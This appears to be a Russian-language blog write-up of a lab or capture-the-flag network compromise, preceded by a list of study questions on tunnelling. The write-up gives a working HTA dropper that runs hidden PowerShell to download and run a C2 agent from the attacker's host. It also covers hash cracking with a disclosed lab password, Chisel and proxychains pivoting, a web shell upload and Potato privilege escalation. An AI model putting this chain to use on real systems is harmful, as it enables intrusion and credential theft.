Вступление

Салют! Данный материал был выпущен специально для блога по информационной безопасности @mirea подписывайся там будет много интересного контента🎇

не забываем заходить в чат @greyhatchat тут вы можете найти потенциальных коллег. Ведем себя культурно=)

Туннелирование для чайников

С чего начать

Это сложная тема, очень важная без которой в пентесте сетей делать нечего, поэтому я до сих пор сижу на виртуалках, т.к чайник, пока никто не зовет проводить аудиты=)))

План такой. Берем нейронку и чуть болтаем с ней. Я подготовил небольшой лист вопросов.

Базовые вопросы (понимание концепций):

  1. Что такое сетевая сегментация, и зачем она используется в корпоративных сетях?
  2. Какие задачи решают межсетевые экраны (firewalls), и как они ограничивают трафик?
  3. В чём разница между локальным (Local Port Forwarding) и удалённым (Remote Port Forwarding) перенаправлением портов?
  4. Что такое SOCKS прокси и в каких случаях он применяется?
  5. Чем туннелирование отличается от обычного проброса портов?
  6. Как работает инкапсуляция данных в SSH-туннелях?

Технические вопросы (практика):

  1. Как настроить SSH-туннель для доступа к порту на изолированной машине?
    • Пример: Как использовать ssh -L для проброса SMB-трафика?
  2. Как организовать удалённый порт-форвардинг, если на хосте заблокирован исходящий HTTP-трафик?
  3. Как настроить и использовать Proxychains для работы через SOCKS прокси?
  4. Как проверить, что SSH-туннель настроен корректно? Какие команды/инструменты для этого использовать?
  5. Какие параметры SSH (например, -N, -D) наиболее часто используются для туннелирования, и что они означают?
  6. Какие инструменты кроме SSH можно использовать для создания туннелей (например, Chisel, Ligolo), и чем они отличаются?

Вопросы по безопасности и детекции:

  1. Как администраторы могут обнаружить использование SSH-туннелей в сети?
  2. Какие действия предпринять, чтобы защитить изолированные сегменты от несанкционированного доступа через туннелирование?
  3. Какие журналы событий (лог-файлы) нужно проверять, чтобы обнаружить аномальное использование SSH?
  4. Какие меры защиты можно внедрить, чтобы предотвратить загрузку и выполнение утилит, таких как Chisel или Ligolo?
  5. Какие инструменты DPI (Deep Packet Inspection) помогают анализировать трафик и обнаруживать туннели?

Практические сценарии (для закрепления):

  1. Как пробросить порт для доступа к веб-серверу, если он работает на изолированном хосте?
  2. Как настроить SSH-доступ, чтобы работать с несколькими службами (например, RDP, SMB) одновременно через один туннель?
  3. Как использовать SOCKS прокси для сканирования портов изолированной сети? Какие параметры nmap для этого подойдут?
  4. Как организовать VPN-туннель с помощью Ligolo и настроить маршрут во внутреннюю сеть?
  5. Как настроить обратный порт-форвардинг, чтобы сервер в изолированной сети подключался к атакующей машине?

Для углублённого понимания:

  1. Какие протоколы чаще всего используются для инкапсуляции (HTTP, SMB, SSH), и в каких ситуациях они применяются?
  2. Чем динамическое перенаправление портов через SOCKS отличается от статического?
  3. Какие есть ограничения и недостатки у инструментов, таких как Chisel или Proxychains?
  4. Как туннели используются в атакующих фреймворках (например, Havoc или Metasploit)?
  5. Какие метрики трафика могут свидетельствовать о скрытом туннелировании (например, постоянный поток трафика на порту 22)?

Для проверки своих знаний:

  1. Можете ли вы объяснить разницу между туннелированием и пробросом портов простыми словами?
  2. Как вы бы настроили туннель для доступа к изолированной сети, если знаете только один доступный узел (хост)?
  3. Как определить, что данные отправляются через SSH-туннель, если вы смотрите на сетевой трафик?
  4. Какие шаги вы предпримете, чтобы не оставить следов после настройки туннеля?

Практические задания:

  1. Настройте локальный и удалённый порт-форвардинг с помощью SSH и проверьте, что они работают.
  2. Используйте Proxychains для перенаправления трафика на изолированный ресурс.
  3. Установите и настройте утилиту Chisel для проброса портов. Попробуйте построить SOCKS туннель.
  4. Поднимите VPN-туннель через Ligolo и выполните сканирование внутренней сети.

Эти вопросы помогут вам не только разобраться в теории, но и освоить практические навыки работы с туннелями и пробросом портов, а также понять, как это используется в атакующих и защитных сценариях.

NOTE

Если что я сам ничего из этого еще не знаю=)))) Я буду пытаться понять часть информации на ходу, с практикой и нейронкой. Это лишь потому что я ленивый и немного тупой. Чуть позже я планирую переписать материал.

Дружеская рекомендация

NOTE

Боевое Вождение - это ютуб канал, который мне посоветовали пользователи дамаги. Я посмотрел пару видеороликов, автор толковую информацию показывает на практике. Рекомендую на досуге ознакомиться, вам это должно помочь!


Решаем таск с 0 знаниями по сетям=)))

Задание

Удалось обнаружить учетные данные для электронной почты следующего пользователя:

Цель:

Скомпрометировать лабораторную сеть.

Адрес лаборатории:

  • Сеть лаборатории: 10.113.0.0/24
  • Почтовый сервер: 10.109.0.100

Учетные данные для почтового сервера:

Я зашел на аккаунт братвы, увидел, что он не смог до конца разобраться зачем ему скинули подозрительный файл с расширением .hta. И решил спросить=)

Догадываюсь, что подобный таск учит нас действовать от ситуации. Посерфить скомпрометированную почту, понять, что вот есть кейс. Прислали неоптытному сотруднику файл с каким-нибудь отчетом, а он не знает как его открыть. Босс еще не успел скинуть мануал, ответить на сообщение. Значит мы имея учетку босса сделаем работу за него, вот только файл будет необычным=)))

Я отправился в интернет, искать что можно интересного сделать с .hta и в целом узнать что это такое.

NOTE

hta файлике. Это по сути исполняемый файл с кодом html внутри себя, который может быть запущен вне браузера, в приложении mshta.exe, входящем в состав Windows (c:\windows\system32\mshta.exe).

Для чего нужен HTA

HTA создавался для разработчиков, чтобы упростить разработку приложений с графическим интерфейсом, основанных на HTML, без ограничений, присущих браузерам. Ниже описаны основные сценарии использования:

  1. Разработка легковесных приложений:

    • HTA использовался для создания простых приложений на основе HTML и JavaScript с доступом к системным ресурсам.
    • Например, можно было создать утилиту для автоматизации задач (например, генератор отчетов или интерфейс настройки).
  2. Полный доступ к системным ресурсам:

    • HTA-файлы запускаются вне “песочницы” браузера, что даёт им полный доступ к системным ресурсам:
      • Чтение/запись файлов на диск.
      • Доступ к реестру.
      • Выполнение команд через WScript или ActiveX.
    • Это делает HTA мощным инструментом для автоматизации.
  3. Интеграция с корпоративными системами:

    • HTA можно использовать для создания внутренних инструментов в корпоративной среде, например, интерфейсов для работы с базами данных или файловыми хранилищами.
  4. Тестирование и отладка веб-приложений:

    • Благодаря своей совместимости с HTML и JavaScript, HTA может использоваться для тестирования веб-кода или взаимодействия с API.
  5. Создание кастомизированных интерфейсов:

    • В отличие от веб-браузеров, HTA позволяет настраивать интерфейс полностью: убрать меню, полосы прокрутки и кнопки навигации.

Зачем это может использоваться сегодня?

Сегодня HTA устарел, но иногда его используют в следующих целях:

  1. Автоматизация и скрипты:

    • Разработчики или системные администраторы могут использовать HTA для написания скриптов, которые требуют графического интерфейса.
  2. Обход ограничений в безопасности:

    • К сожалению, злоумышленники используют HTA для эксплуатации уязвимостей Windows. HTA позволяет:
      • Выполнять произвольный код на машине пользователя.
      • Загружать вредоносные программы.
      • Взаимодействовать с системой без строгих ограничений.
  3. Социальная инженерия:

    • HTA-файл может быть замаскирован под что-то безопасное (например, “документ” или “установочный файл”) и отправлен жертве. Запуск HTA через mshta.exe может привести к выполнению вредоносного кода.

Какие угрозы несёт HTA?

  1. Полный доступ к системе:

    • HTA имеет привилегии для работы с файлами, реестром и выполнения команд, что делает его потенциально опасным.
  2. Используется в атаках:

    • HTA часто применяют для распространения вредоносного ПО. Например:
      • В фишинговых атаках HTA-файл может загрузить и запустить троян или шпионское ПО.
      • В эксплойтах — для обхода ограничений системы безопасности.
  3. Запуск без предупреждений:

    • Если mshta.exe запускается без должного контроля, HTA-файлы могут выполнять код без согласия пользователя.

Как защититься от потенциальных угроз HTA

  1. Ограничение использования mshta.exe:

    • Отключите или удалите mshta.exe, если он не используется в рабочем процессе.
  2. Фильтрация HTA-файлов:

    • Настройте антивирусные программы и средства защиты на блокировку .hta файлов.
  3. Обучение сотрудников:

    • Убедитесь, что пользователи понимают риски запуска неизвестных файлов с расширением .hta.
  4. Мониторинг системы:

    • Используйте EDR-системы для мониторинга запусков mshta.exe и анализа аномальной активности.

Заключение

HTA — это мощный инструмент, который изначально предназначался для разработки приложений на основе HTML. Однако из-за своей открытости и доступа к системным ресурсам он часто используется злоумышленниками для атак. Если HTA не используется в вашей организации, лучше ограничить или полностью отключить возможность его выполнения.

Нашел интересную статью про HTA

[Малварь на HTML или HTA для хакера](Статья - Малварь на HTML или HTA для хакера | Форум информационной безопасности - Codeby.net

Суть в чем наша задача отправить сотруднику файл с расширением .hta в котором будет однострочный powershell скрипт для скачивания нашего агента C2 и запуска. Таким образом мы получим сессию на удаленном машине.

Генерием c2 агента и запускаем python сервак, чтобы наш файл могли скачать=)

(далее я запускаю на 8083, т.к перезагружал систему, решил другой порт использовать)

Просим нейронку написать .HTA скрипт

Нам нужен скрипт, который скачает агента для C2 с нашего сервера и запустит его через powershell.

После некоторых страданий мне всё таки удалось заполучить эту несчастную сессию. Не знаю в чем была собственно проблема. Но рабочий скрипт выглядит вот так

upd: проблема была в том, что c2.exe уже существовал на машинке (я до этого залил на машинку и позабыл).

<html>
<head>
    <HTA:APPLICATION 
        ID="oHTA"
        APPLICATIONNAME="MSession"
        BORDER="none"
        SHOWINTASKBAR="no"
        SINGLEINSTANCE="no"
        SYSMENU="no"
        VERSION="1.0"
        WINDOWSTATE="minimize" 
    />
</head>
<body>
    <script language="VBScript">
        ' Скрываем окно HTA
        Window.ResizeTo 0, 0
        Window.MoveTo -4000, -4000

        ' Создаем объект WScript.Shell
        Set wsh = CreateObject("WScript.Shell")

        ' Запускаем PowerShell команду для скачивания и выполнения файла
        wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX (New-Object Net.WebClient).DownloadFile('http://10.0.0.90:8089/c2.exe', 'C:\Windows\tasks\c222.exe'); Start-Process 'C:\Windows\tasks\c222.exe'"

        ' Закрываем окно HTA
        Window.Close
    </script>
</body>
</html>

Особо заострять внимание на этом не будем. HTA это устаревшая темка, может она вообще не используется вне ctf, лучше пойдем дальше.

Ищем способы повысить привилегии

Я скачал бинарь winpeas на сервер и запустил

shell winp.exe | findstr "tech"
shell winp.exe | findstr "hash"

tech - это пользователь под которым мы получили сессию. Я хочу в первую очередь узнать пароль.

А вот и наш хэшик

tech::WS13:1122334455667788:eefd57e652e5f956b24f1a5a0f8b05e3:010100000000000090bb170d273adb01416cb70cf9aa7543000000000800300030000000000000000000000000200000ecda55660d8867989bac2c2531cdd4353d475969d9a099b3b4fb715929b33ecf0a00100000000000000000000000000000000000090000000000000000000000
hashcat -m 5600 hash.txt word.txt -r /usr/share/hashcat/rules/dive.rule --show
TECH::WS13:1122334455667788:eefd57e652e5f956b24f1a5a0f8b05e3:010100000000000090bb170d273adb01416cb70cf9aa7543000000000800300030000000000000000000000000200000ecda55660d8867989bac2c2531cdd4353d475969d9a099b3b4fb715929b33ecf0a00100000000000000000000000000000000000090000000000000000000000:ZxCvBnM!23

Я использовал правила для hashcat - dive.rule. Таким образом пароль для учетки tech - ZxCvBnM!23

Строим туннель

для начало узнаем какие у нас есть сетевые интерфейсы.

И того подводим итог. У нас есть линукс тачка (наша) - 10.0.0.90 У нас есть 10.113.0.10 и 112.113.0.10, которые могут пинговать, видеть 10.0.0.90. Но когда я попытался пингануть эти два сетевых интерфейса, то ничего не вышло. Эта сетка тупо не сканится.

Пример сегментации:

- Администраторы сети могут разрешить доступ:
    - К определённым устройствам (например, `10.113.0.1`).
    - К определённым портам (например, SSH на `10.113.0.1:22`).
    - К приложениям или службам (например, доступ к веб-серверу на `10.113.0.3:80`).
- Остальные IP-адреса или порты в подсети могут быть заблокированы.

ssh работает, но вот только мы не можем достучаться до нужных хостов. Значит создадим сокс, чтобы можно было стучать к примеру в 112.113.0.10. Как я понял у нас есть общий сервер 10.113.0.10. Общий в моем понимании - это что он может обращаться хоть к хссту 112.*, хоть к моей машинке линукс. То есть некий посредник через которого мы будем отсылать пакеты.

Что такое Chisel?

  • Chisel — это инструмент для создания TCP/UDP-туннелей через HTTP/WebSocket-соединение. Он часто используется для обхода ограничений сети, NAT или брандмауэров.
  • Работает в режиме “клиент-сервер”:
    • Сервер — это устройство, к которому клиент подключается.
    • Клиент — это устройство, которое использует туннель для доступа к ресурсам через сервер.

Я буду использовать chisel для reverse туннеля. Логично, что сервером будет выступать наша линукс машина дело в том, что мы не можем дотянуться до этих 2-х интерфейсов, а вот 10.113* может.

chisel server --port 8443 --reverse
2024/11/19 07:19:09 server: Reverse tunnelling enabled
2024/11/19 07:19:09 server: Fingerprint fOpn2Vp5Nbp44Qvtb30bg9ZIMzI3qflLae/fs6gp7+k=
2024/11/19 07:19:09 server: Listening on http://0.0.0.0:8443

Все мы прослушиваем порт 8443 на линукс тачке.

На виндовс машинке, где мы нашил 2 сетевых интерфейса скачиваем chisel

Подключаемся к нашей линукс тачке и создаем сокс

Смотрим что произошло на линукс. Прилетел ли коннект

Устанавливаем proxychains

sudo apt install proxychains

Конфигурационный файл появится по следующему пути

/etc/proxychains.conf

Прописываем туда наш сокс

Проверим все ли работает=)

proxychains curl ident.me
curl ident.me

Разные должны быть ip адреса для выхода в веб.

Используем сокс для доступа к тачкам

Далее попробуем пробраться на хосты, которые ранее не были нам доступны.

proxychains netexec ssh 10.113.0.0/24 -u "tech" -p 'ZxCvBnM!23' -t 10 | fgrep "[+]"

Я поставил потоков 10, чтобы не убить сокс. Насколько я знаю по дефолту netexec использует 100 потоков. Также я использую fgrep, т.к это банально удобно, не нужно экранировать специальные символы. Как видим нам удалось достучаться до хостов, которые были в сетке 10.113.0.0/24, а ранее у нас не было к ним доступа. Также попробуем посканить второй сетевой интерфейс.

proxychains netexec ssh 112.113.0.0/24 -u "tech" -p 'ZxCvBnM!23' -t 10 | fgrep "[+]"

Заливаем web шелл

На хосте, который оканчивается на 20 я заметил в корне диска C папку inetpub. Это сразу наталкивает на мысль залить туда веб шелл. Но сначала нужно проверить есть ли у нас необходимые права на это.

Пользователь “tech” имеет право на создание файлов.

powershell "(Get-Acl C:\inetpub).Access"

Проверял вот так. До этого естественно проверил в какие группы входит пользователь tech с помощью whoami /all

Вот сюда грузим наш шелл.

C:\inetpub\wwwroot\shell.aspx

Я буду использовать shell.aspx

Отлично мы залили shell в корневую директорию. Нужно теперь пробросить порт, чтобы получить доступ к шеллу. У нас установлен ssh.

proxychains ssh -L 9999:127.0.0.1:80 [email protected]

Пробуем запустить c2, чтобы получить сессию от служебной учетки.

У меня в стенде используется кириллица поэтому ошибка непонятная. Проще говоря у этой учетки нет прав на запуск нашего агента c2.exe.

И кстати, ранее когда я отправлял файл .hta мне пришлось c2.exe изменить на любое другое свободное название, т.к не было прав на перезапить существующего файла=)) А я думал ошибка со скриптом и потратил немало времени.

Потом я вообще понял, что пора идти спать. Я заливал агента на 10 хост, а в шелле не указал рабочую директорию где лежит агент c:\windows\tasks. Ну собственно вот теперь у нас есть сессия с новыми привилегиями.

Вот такие вот у нас привилегии. Но мы по-прежнему не СИСТЕМА. Надо повышать привилегии.

Опасные привилегии:

  • SeImpersonatePrivilege — ключевая привилегия для атак эскалации привилегий.
  • SeAssignPrimaryTokenPrivilege — позволяет захватить контроль над процессами.
  • SeCreateGlobalPrivilege — может быть опасна в руках атакующего.

Повышаем привилегии с помощью картошек

Инструмент GodPotato-NET4.exe, как и другие “Potato”-атаки (например, JuicyPotato, RoguePotato), эксплуатирует уязвимости, связанные с механизмами обработки токенов и “имперсонации” (impersonation). Для корректной работы GodPotato требуется привилегия SeImpersonatePrivilege.

Как мы видим GodPotato запустил наш c2.exe и мы получили сессию от SERVER$. Это всё также не система, попробуем другую картошку.

shell SigmaPotato.exe c2.exe

Таким образом мы проапались до уровня системы. Туннелирование траффика это очень важная тема, я обязательно в ней разберусь получше и напишу продолжение. Кстати тачки не пинговались потому что ICMP траффик блокировался.